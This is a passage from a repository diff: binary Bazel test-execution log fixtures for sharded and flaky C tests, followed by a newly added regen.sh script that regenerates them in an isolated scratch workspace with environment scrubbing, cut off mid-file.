02*."#�1Š +Dbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.shardB +@e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855�2Š +Dbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.shardB +@e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855L3"H +Fbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputsL4"H +Fbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs 52*."#Ÿ:œ +-external/bazel_tools/tools/test/test-setup.sh +./sharded_testA + JAVA_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles$ +PATH/bin:/usr/bin:/usr/local/binC +PYTHON_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles@ + RUNFILES_DIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles +RUN_UNDER_RUNFILES1 + TEST_BINARY./sharded_testy + TEST_INFRASTRUCTURE_FAILURE_FILEUbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.infrastructure_failure{ +TEST_LOGSPLITTER_OUTPUT_FILE[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.raw_splitlogs/test.splitlogsm +TEST_PREMATURE_EXIT_FILEQbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.exited_prematurely +TEST_SHARD_INDEX1^ +TEST_SHARD_STATUS_FILEDbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.shard + TEST_SIZEmedium? + TEST_SRCDIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles + TEST_TARGET//:sharded_test + TEST_TIMEOUT3004 + TEST_TMPDIR%_tmp/1615829df1fa3563387e50506a1f6692 +TEST_TOTAL_SHARDS3‚ +#TEST_UNDECLARED_OUTPUTS_ANNOTATIONS[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs_manifest/ANNOTATIONSz +'TEST_UNDECLARED_OUTPUTS_ANNOTATIONS_DIRObazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs_manifeste +TEST_UNDECLARED_OUTPUTS_DIRFbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs| + TEST_UNDECLARED_OUTPUTS_MANIFESTXbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs_manifest/MANIFESTs +TEST_UNUSED_RUNFILES_LOG_FILERbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.unused_runfiles_logd +TEST_WARNINGS_OUTPUT_FILEGbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.warnings +TEST_WORKSPACE_main +TZUTCU +XML_OUTPUT_FILEBbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.xml /2D"Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.xml2S"Qbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.exited_prematurely2(12I"Gbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.warnings2]"[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.raw_splitlogs/test.splitlogs2T"Rbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.unused_runfiles_log2W"Ubazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.infrastructure_failure2(32Z"Xbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs_manifest/MANIFEST2]"[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs_manifest/ANNOTATIONS2`"^bazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs_manifest/ANNOTATIONS.pb://:sharded_testB +TestRunnerZdisk cache hit`hpx‚E +@65823b7bbd88887a55104a2603f0cd27144b0b9a7f03b0cac4c813bde832c527—ˆà§’" +€’ô"À„=X˜Ü`¢ ñú—ÖÀº«úŸ:œ +-external/bazel_tools/tools/test/test-setup.sh +./sharded_testA + JAVA_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles$ +PATH/bin:/usr/bin:/usr/local/binC +PYTHON_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles@ + RUNFILES_DIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles +RUN_UNDER_RUNFILES1 + TEST_BINARY./sharded_testy + TEST_INFRASTRUCTURE_FAILURE_FILEUbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.infrastructure_failure{ +TEST_LOGSPLITTER_OUTPUT_FILE[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.raw_splitlogs/test.splitlogsm +TEST_PREMATURE_EXIT_FILEQbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.exited_prematurely +TEST_SHARD_INDEX0^ +TEST_SHARD_STATUS_FILEDbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.shard + TEST_SIZEmedium? + TEST_SRCDIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles + TEST_TARGET//:sharded_test + TEST_TIMEOUT3004 + TEST_TMPDIR%_tmp/baf5a5c95a10bc1fd7a56eb5c8e0a05a +TEST_TOTAL_SHARDS3‚ +#TEST_UNDECLARED_OUTPUTS_ANNOTATIONS[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs_manifest/ANNOTATIONSz +'TEST_UNDECLARED_OUTPUTS_ANNOTATIONS_DIRObazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs_manifeste +TEST_UNDECLARED_OUTPUTS_DIRFbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs| + TEST_UNDECLARED_OUTPUTS_MANIFESTXbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs_manifest/MANIFESTs +TEST_UNUSED_RUNFILES_LOG_FILERbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.unused_runfiles_logd +TEST_WARNINGS_OUTPUT_FILEGbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.warnings +TEST_WORKSPACE_main +TZUTCU +XML_OUTPUT_FILEBbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.xml 02D"Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.xml2S"Qbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.exited_prematurely2(22I"Gbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.warnings2]"[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.raw_splitlogs/test.splitlogs2T"Rbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.unused_runfiles_log2W"Ubazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.infrastructure_failure2(42Z"Xbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs_manifest/MANIFEST2]"[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs_manifest/ANNOTATIONS2`"^bazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs_manifest/ANNOTATIONS.pb://:sharded_testB +TestRunnerZdisk cache hit`hpx‚E +@ae35bb8a01ebfe9e2a0aed70d708da493aa1d33f305661fa22e07f53e15c9e9e—ˆà§’" +€’ô"À„=X˜Ü`¢ ñú—ÖÀº«ú�6Š +Dbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.shardB +@e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855L7"H +Fbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputsŸ:œ +-external/bazel_tools/tools/test/test-setup.sh +./sharded_testA + JAVA_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles$ +PATH/bin:/usr/bin:/usr/local/binC +PYTHON_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles@ + RUNFILES_DIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles +RUN_UNDER_RUNFILES1 + TEST_BINARY./sharded_testy + TEST_INFRASTRUCTURE_FAILURE_FILEUbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.infrastructure_failure{ +TEST_LOGSPLITTER_OUTPUT_FILE[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.raw_splitlogs/test.splitlogsm +TEST_PREMATURE_EXIT_FILEQbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.exited_prematurely +TEST_SHARD_INDEX2^ +TEST_SHARD_STATUS_FILEDbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.shard + TEST_SIZEmedium? + TEST_SRCDIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles + TEST_TARGET//:sharded_test + TEST_TIMEOUT3004 + TEST_TMPDIR%_tmp/c0c31cf43ef7d650f7ec6ed08aec4b02 +TEST_TOTAL_SHARDS3‚ +#TEST_UNDECLARED_OUTPUTS_ANNOTATIONS[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputs_manifest/ANNOTATIONSz +'TEST_UNDECLARED_OUTPUTS_ANNOTATIONS_DIRObazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputs_manifeste +TEST_UNDECLARED_OUTPUTS_DIRFbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputs| + TEST_UNDECLARED_OUTPUTS_MANIFESTXbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputs_manifest/MANIFESTs +TEST_UNUSED_RUNFILES_LOG_FILERbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.unused_runfiles_logd +TEST_WARNINGS_OUTPUT_FILEGbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.warnings +TEST_WORKSPACE_main +TZUTCU +XML_OUTPUT_FILEBbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.xml 52D"Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.xml2S"Qbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.exited_prematurely2(62I"Gbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.warnings2]"[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.raw_splitlogs/test.splitlogs2T"Rbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.unused_runfiles_log2W"Ubazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.infrastructure_failure2(72Z"Xbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputs_manifest/MANIFEST2]"[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputs_manifest/ANNOTATIONS2`"^bazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputs_manifest/ANNOTATIONS.pb://:sharded_testB +TestRunnerZdisk cache hit`hpx‚E +@f814772f77f3e92e5cef55e6b0dc3b1db2d007d20513003199c7ee1612898823—ˆà§’" +À–±"À„=X˜Ü`¢ ñú—Ö€¿èú�8‹ +Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.logE +@a4c005ec9ab13f0352b62aa089b2ac3fdf04422c5aa1b296137fdf4aa082aeffŸ92*#8�:‹ +Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.logE +@a4c005ec9ab13f0352b62aa089b2ac3fdf04422c5aa1b296137fdf4aa082aeffŸ;2*#:�<‹ +Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.xmlE +@da3be6ada8aa77a9ec8381222bb8358fcd7300c46bc8318e05b7cd792a471f60š�=‹ +Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.xmlE +@8faa6c3e54a5d33b706bdd2917bf93f8e6522082b78cf016f23cc398558a7980š�>‹ +Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.logE +@a4c005ec9ab13f0352b62aa089b2ac3fdf04422c5aa1b296137fdf4aa082aeffŸ?2*#>ª:§ +/external/bazel_tools/tools/test/generate-xml.sh +Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.log +Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.xml +0 +0A + JAVA_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles$ +PATH/bin:/usr/bin:/usr/local/binC +PYTHON_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles@ + RUNFILES_DIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles +RUN_UNDER_RUNFILES1 + TEST_BINARY./sharded_testy + TEST_INFRASTRUCTURE_FAILURE_FILEUbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.infrastructure_failure{ +TEST_LOGSPLITTER_OUTPUT_FILE[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.raw_splitlogs/test.splitlogs+ + TEST_NAME//:sharded_test (shard 1 of 3)m +TEST_PREMATURE_EXIT_FILEQbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.exited_prematurely +TEST_SHARD_INDEX0^ +TEST_SHARD_STATUS_FILEDbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.shard + TEST_SIZEmedium? + TEST_SRCDIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles + TEST_TARGET//:sharded_test + TEST_TIMEOUT3004 + TEST_TMPDIR%_tmp/baf5a5c95a10bc1fd7a56eb5c8e0a05a +TEST_TOTAL_SHARDS3‚ +#TEST_UNDECLARED_OUTPUTS_ANNOTATIONS[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs_manifest/ANNOTATIONSz +'TEST_UNDECLARED_OUTPUTS_ANNOTATIONS_DIRObazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs_manifeste +TEST_UNDECLARED_OUTPUTS_DIRFbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs| + TEST_UNDECLARED_OUTPUTS_MANIFESTXbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.outputs_manifest/MANIFESTs +TEST_UNUSED_RUNFILES_LOG_FILERbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.unused_runfiles_logd +TEST_WARNINGS_OUTPUT_FILEGbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.warnings +TEST_WORKSPACE_main +TZUTCU +XML_OUTPUT_FILEBbazel-out/k8-fastbuild/testlogs/sharded_test/shard_1_of_3/test.xml 92(<://:sharded_testB +TestRunnerZdisk cache hit`hpx‚E +@f170955a4da54e66b1a6040529fadb7c8bc18b0d15a87c7df4160a72bb039e5e’’ +€‰zX¨0`¢ ñú—Ö€ļ–�@‹ +Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.xmlE +@cfe77d8780f07a6b93e2e76bb0806c9b5ec880e414605d03c0a9b92c7d0c57abš°:­ +/external/bazel_tools/tools/test/generate-xml.sh +Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.log +Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.xml +0 +0A + JAVA_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles$ +PATH/bin:/usr/bin:/usr/local/binC +PYTHON_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles@ + RUNFILES_DIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles +RUN_UNDER_RUNFILES1 + TEST_BINARY./sharded_testy + TEST_INFRASTRUCTURE_FAILURE_FILEUbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.infrastructure_failure{ +TEST_LOGSPLITTER_OUTPUT_FILE[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.raw_splitlogs/test.splitlogs+ + TEST_NAME//:sharded_test (shard 2 of 3)m +TEST_PREMATURE_EXIT_FILEQbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.exited_prematurely +TEST_SHARD_INDEX1^ +TEST_SHARD_STATUS_FILEDbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.shard + TEST_SIZEmedium? + TEST_SRCDIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles + TEST_TARGET//:sharded_test + TEST_TIMEOUT3004 + TEST_TMPDIR%_tmp/1615829df1fa3563387e50506a1f6692 +TEST_TOTAL_SHARDS3‚ +#TEST_UNDECLARED_OUTPUTS_ANNOTATIONS[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs_manifest/ANNOTATIONSz +'TEST_UNDECLARED_OUTPUTS_ANNOTATIONS_DIRObazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs_manifeste +TEST_UNDECLARED_OUTPUTS_DIRFbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs| + TEST_UNDECLARED_OUTPUTS_MANIFESTXbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.outputs_manifest/MANIFESTs +TEST_UNUSED_RUNFILES_LOG_FILERbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.unused_runfiles_logd +TEST_WARNINGS_OUTPUT_FILEGbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.warnings +TEST_WORKSPACE_main +TZUTCU +XML_OUTPUT_FILEBbazel-out/k8-fastbuild/testlogs/sharded_test/shard_2_of_3/test.xml ;2(=://:sharded_testB +TestRunnerZdisk cache hit`hpx‚E +@1829a1dbbc86771981413590c77863b3477fae7be62b1596a8f019422208491c’’ +€‰z"À„=X¨0`¢ ñú—Ö€ļ–ª:§ +/external/bazel_tools/tools/test/generate-xml.sh +Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.log +Bbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.xml +0 +0A + JAVA_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles$ +PATH/bin:/usr/bin:/usr/local/binC +PYTHON_RUNFILES0bazel-out/k8-fastbuild/bin/sharded_test.runfiles@ + RUNFILES_DIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles +RUN_UNDER_RUNFILES1 + TEST_BINARY./sharded_testy + TEST_INFRASTRUCTURE_FAILURE_FILEUbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.infrastructure_failure{ +TEST_LOGSPLITTER_OUTPUT_FILE[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.raw_splitlogs/test.splitlogs+ + TEST_NAME//:sharded_test (shard 3 of 3)m +TEST_PREMATURE_EXIT_FILEQbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.exited_prematurely +TEST_SHARD_INDEX2^ +TEST_SHARD_STATUS_FILEDbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.shard + TEST_SIZEmedium? + TEST_SRCDIR0bazel-out/k8-fastbuild/bin/sharded_test.runfiles + TEST_TARGET//:sharded_test + TEST_TIMEOUT3004 + TEST_TMPDIR%_tmp/c0c31cf43ef7d650f7ec6ed08aec4b02 +TEST_TOTAL_SHARDS3‚ +#TEST_UNDECLARED_OUTPUTS_ANNOTATIONS[bazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputs_manifest/ANNOTATIONSz +'TEST_UNDECLARED_OUTPUTS_ANNOTATIONS_DIRObazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputs_manifeste +TEST_UNDECLARED_OUTPUTS_DIRFbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputs| + TEST_UNDECLARED_OUTPUTS_MANIFESTXbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.outputs_manifest/MANIFESTs +TEST_UNUSED_RUNFILES_LOG_FILERbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.unused_runfiles_logd +TEST_WARNINGS_OUTPUT_FILEGbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.warnings +TEST_WORKSPACE_main +TZUTCU +XML_OUTPUT_FILEBbazel-out/k8-fastbuild/testlogs/sharded_test/shard_3_of_3/test.xml ?2(@://:sharded_testB +TestRunnerZdisk cache hit`hpx‚E +@104dc89ec01897d5979a03f7c0fce69f25f2f253c36c483719bb6ffdfdf26601’’ +€‰zX¨0`¢ ñú—ÖÀÈù–A2*~BRz +.bazel-out/k8-fastbuild/bin/flaky_test.runfilesA2FD +@c2110b558232b10af9e33d06c2547de9fa61baec34cbb315a11ea9015095026a C2*B"#=D"9 +7bazel-out/k8-fastbuild/testlogs/flaky_test/test.outputsö:ó +-external/bazel_tools/tools/test/test-setup.sh + ./flaky_test? + JAVA_RUNFILES.bazel-out/k8-fastbuild/bin/flaky_test.runfiles$ +PATH/bin:/usr/bin:/usr/local/binA +PYTHON_RUNFILES.bazel-out/k8-fastbuild/bin/flaky_test.runfiles> + RUNFILES_DIR.bazel-out/k8-fastbuild/bin/flaky_test.runfiles +RUN_UNDER_RUNFILES1 + TEST_BINARY ./flaky_testj + TEST_INFRASTRUCTURE_FAILURE_FILEFbazel-out/k8-fastbuild/testlogs/flaky_test/test.infrastructure_failurel +TEST_LOGSPLITTER_OUTPUT_FILELbazel-out/k8-fastbuild/testlogs/flaky_test/test.raw_splitlogs/test.splitlogs^ +TEST_PREMATURE_EXIT_FILEBbazel-out/k8-fastbuild/testlogs/flaky_test/test.exited_prematurely + TEST_SIZEmedium= + TEST_SRCDIR.bazel-out/k8-fastbuild/bin/flaky_test.runfiles + TEST_TARGET //:flaky_test + TEST_TIMEOUT3004 + TEST_TMPDIR%_tmp/d778484882c0bff6932e3335e6656a87s +#TEST_UNDECLARED_OUTPUTS_ANNOTATIONSLbazel-out/k8-fastbuild/testlogs/flaky_test/test.outputs_manifest/ANNOTATIONSk +'TEST_UNDECLARED_OUTPUTS_ANNOTATIONS_DIR@bazel-out/k8-fastbuild/testlogs/flaky_test/test.outputs_manifestV +TEST_UNDECLARED_OUTPUTS_DIR7bazel-out/k8-fastbuild/testlogs/flaky_test/test.outputsm + TEST_UNDECLARED_OUTPUTS_MANIFESTIbazel-out/k8-fastbuild/testlogs/flaky_test/test.outputs_manifest/MANIFESTd +TEST_UNUSED_RUNFILES_LOG_FILECbazel-out/k8-fastbuild/testlogs/flaky_test/test.unused_runfiles_logU +TEST_WARNINGS_OUTPUT_FILE8bazel-out/k8-fastbuild/testlogs/flaky_test/test.warnings +TEST_WORKSPACE_main +TZUTCF +XML_OUTPUT_FILE3bazel-out/k8-fastbuild/testlogs/flaky_test/test.xml C25"3bazel-out/k8-fastbuild/testlogs/flaky_test/test.xml2D"Bbazel-out/k8-fastbuild/testlogs/flaky_test/test.exited_prematurely2:"8bazel-out/k8-fastbuild/testlogs/flaky_test/test.warnings2N"Lbazel-out/k8-fastbuild/testlogs/flaky_test/test.raw_splitlogs/test.splitlogs2E"Cbazel-out/k8-fastbuild/testlogs/flaky_test/test.unused_runfiles_log2H"Fbazel-out/k8-fastbuild/testlogs/flaky_test/test.infrastructure_failure2(D2K"Ibazel-out/k8-fastbuild/testlogs/flaky_test/test.outputs_manifest/MANIFEST2N"Lbazel-out/k8-fastbuild/testlogs/flaky_test/test.outputs_manifest/ANNOTATIONS2Q"Obazel-out/k8-fastbuild/testlogs/flaky_test/test.outputs_manifest/ANNOTATIONS.pb: //:flaky_testB +TestRunnerHR NON_ZERO_EXITZprocesswrapper-sandboxhpx‚E +@b95f7f7c6b2c699bbe8951bec716799645217fd1e03a20f1c86c40d731dc78aa—ˆà§’# +€¢•B€¢•¢ òú—Ö€‰•切 Ã€E| +3bazel-out/k8-fastbuild/testlogs/flaky_test/test.logE +@f4f43b4414847462e830ccf2c6ed78b7f752d507751e9ac2f4edf797aee55ea0�F2*#E€G| +3bazel-out/k8-fastbuild/testlogs/flaky_test/test.xmlE +@c97b22d07a3c89431b8b3ecd40ca2e1ff7b17692616d90a4bf67f0606eae9cef²ü:ù +/external/bazel_tools/tools/test/generate-xml.sh +3bazel-out/k8-fastbuild/testlogs/flaky_test/test.log +3bazel-out/k8-fastbuild/testlogs/flaky_test/test.xml +0 +1? + JAVA_RUNFILES.bazel-out/k8-fastbuild/bin/flaky_test.runfiles$ +PATH/bin:/usr/bin:/usr/local/binA +PYTHON_RUNFILES.bazel-out/k8-fastbuild/bin/flaky_test.runfiles> + RUNFILES_DIR.bazel-out/k8-fastbuild/bin/flaky_test.runfiles +RUN_UNDER_RUNFILES1 + TEST_BINARY ./flaky_testj + TEST_INFRASTRUCTURE_FAILURE_FILEFbazel-out/k8-fastbuild/testlogs/flaky_test/test.infrastructure_failurel +TEST_LOGSPLITTER_OUTPUT_FILELbazel-out/k8-fastbuild/testlogs/flaky_test/test.raw_splitlogs/test.splitlogs + TEST_NAME //:flaky_test^ +TEST_PREMATURE_EXIT_FILEBbazel-out/k8-fastbuild/testlogs/flaky_test/test.exited_prematurely +TEST_SHARD_INDEX0 + TEST_SIZEmedium= + TEST_SRCDIR.bazel-out/k8-fastbuild/bin/flaky_test.runfiles + TEST_TARGET //:flaky_test + TEST_TIMEOUT3004 + TEST_TMPDIR%_tmp/d778484882c0bff6932e3335e6656a87 +TEST_TOTAL_SHARDS0s +#TEST_UNDECLARED_OUTPUTS_ANNOTATIONSLbazel-out/k8-fastbuild/testlogs/flaky_test/test.outputs_manifest/ANNOTATIONSk +'TEST_UNDECLARED_OUTPUTS_ANNOTATIONS_DIR@bazel-out/k8-fastbuild/testlogs/flaky_test/test.outputs_manifestV +TEST_UNDECLARED_OUTPUTS_DIR7bazel-out/k8-fastbuild/testlogs/flaky_test/test.outputsm + TEST_UNDECLARED_OUTPUTS_MANIFESTIbazel-out/k8-fastbuild/testlogs/flaky_test/test.outputs_manifest/MANIFESTd +TEST_UNUSED_RUNFILES_LOG_FILECbazel-out/k8-fastbuild/testlogs/flaky_test/test.unused_runfiles_logU +TEST_WARNINGS_OUTPUT_FILE8bazel-out/k8-fastbuild/testlogs/flaky_test/test.warnings +TEST_WORKSPACE_main +TZUTCF +XML_OUTPUT_FILE3bazel-out/k8-fastbuild/testlogs/flaky_test/test.xml F2(G: //:flaky_testB +TestRunnerZdisk cache hit`hpx‚E +@aec77e861fc71a6827175a35ca9248a9f51b1060f58b9f6debaa414a6c06f0b5’’ +€‰z"À„=XÎ/`¢ ñú—Ö€ÚÖý \ No newline at end of file diff --git a/tools/bazel/testdata/ci_analytics/regen.sh b/tools/bazel/testdata/ci_analytics/regen.sh new file mode 100755 index 000000000..7084c5893 --- /dev/null +++ b/tools/bazel/testdata/ci_analytics/regen.sh @@ -0,0 +1,325 @@ +#!/usr/bin/env bash +# Regenerates real/*.json and real/*.binpb from a disposable scratch Bazel +# workspace. Run manually (not part of any test or CI job); the fixtures it +# produces are committed. This documents how they were made, so a reviewer +# can tell they are real Bazel 9 output and not hand-written JSON, and so +# they can be regenerated against a newer Bazel without re-deriving the +# scratch workspace from scratch. +# +# Isolation matters here as much as in bazel.yml itself, and more: the host +# that runs this script is a live operator workstation, not a disposable CI +# runner, so Bazel's own BEP `started` event and --client_env echo the whole +# ambient environment (hostname, user, SSH_CLIENT, auth tokens, gateway key +# paths, ...) straight into the fixture unless we scrub it. We do that in two +# layers: +# 1. Run Bazel under `env -i` with a minimal, scratch-local environment, so +# there is nothing secret in the environment to begin with. +# 2. Pass every raw BEP file through filter_bep() below, which keeps only +# the events and fields tools/bazel/ci_analytics_extract.py actually +# reads, before anything is copied into $out. This is defense in depth: +# even a future Bazel version that adds new ambient fields to `started` +# or a new event kind gets dropped by default, not included by default. +# +# --nohome_rc --nosystem_rc keep the home .bazelrc (which may carry a real +# --remote_executor) out of the invocation, and --output_user_root puts the +# repo-contents cache outside the scratch workspace. No remote flags are +# passed at all: these fixtures are deliberately local-only (disk_cache_hit, +# not remote_cache_hit). A synthetic remote-runner fixture is built in +# ci_analytics_extract_test.py instead, from its own varint encoder, since +# this repo's sandbox has no RBE endpoint to run against. +set -euo pipefail + +real_bazel=$(command -v bazel) + +scratch=$(mktemp -d) +userroot=$(mktemp -d) +diskcache=$(mktemp -d) +home="$scratch/home" +mkdir -p "$home" +trap 'rm -rf "$scratch" "$userroot" "$diskcache"' EXIT + +repo_root=$(cd "$(dirname "${BASH_SOURCE[0]}")/../../../.." && pwd) +cp "$repo_root/.bazelversion" "$scratch/.bazelversion" + +cat >"$scratch/MODULE.bazel" <<'EOF' +module(name = "s2scratch", version = "0.0.0") +bazel_dep(name = "rules_cc", version = "0.0.17") +EOF + +cat >"$scratch/BUILD.bazel" <<'EOF' +load("@rules_cc//cc:defs.bzl", "cc_test") + +cc_test( + name = "pass_test", + srcs = ["main_pass.c"], +) + +cc_test( + name = "sharded_test", + srcs = ["main_shard.c"], + shard_count = 3, +) + +cc_test( + name = "flaky_test", + srcs = ["main_fail.c"], +) + +genrule( + name = "gen_out", + outs = ["gen_out.txt"], + cmd = "echo hello > $@", +) +EOF + +cat >"$scratch/main_pass.c" <<'EOF' +int main(void) { return 0; } +EOF + +cat >"$scratch/main_fail.c" <<'EOF' +int main(void) { return 1; } +EOF + +cat >"$scratch/main_shard.c" <<'EOF' +#include +#include + +int main(void) { + const char *status_file = 